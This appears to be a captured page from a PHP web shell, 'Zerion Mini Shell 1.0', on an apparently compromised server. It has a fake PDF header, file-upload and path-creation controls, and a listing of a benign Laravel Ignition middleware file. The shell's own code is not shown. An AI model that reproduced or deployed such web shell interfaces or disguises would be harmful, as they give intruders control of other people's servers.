%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/calling_code/vendor/spatie/laravel-ignition/src/FlareMiddleware/
Upload File :
Create Path :
Current File : //home/silvzytp/calling_code/vendor/spatie/laravel-ignition/src/FlareMiddleware/AddQueries.php

<?php

namespace Spatie\LaravelIgnition\FlareMiddleware;

use Spatie\FlareClient\Report;
use Spatie\LaravelIgnition\Recorders\QueryRecorder\QueryRecorder;

class AddQueries
{
    protected QueryRecorder $queryRecorder;

    public function __construct()
    {
        $this->queryRecorder = app(QueryRecorder::class);
    }

    public function handle(Report $report, $next)
    {
        $report->group('queries', $this->queryRecorder->getQueries());

        return $next($report);
    }
}

Zerion Mini Shell 1.0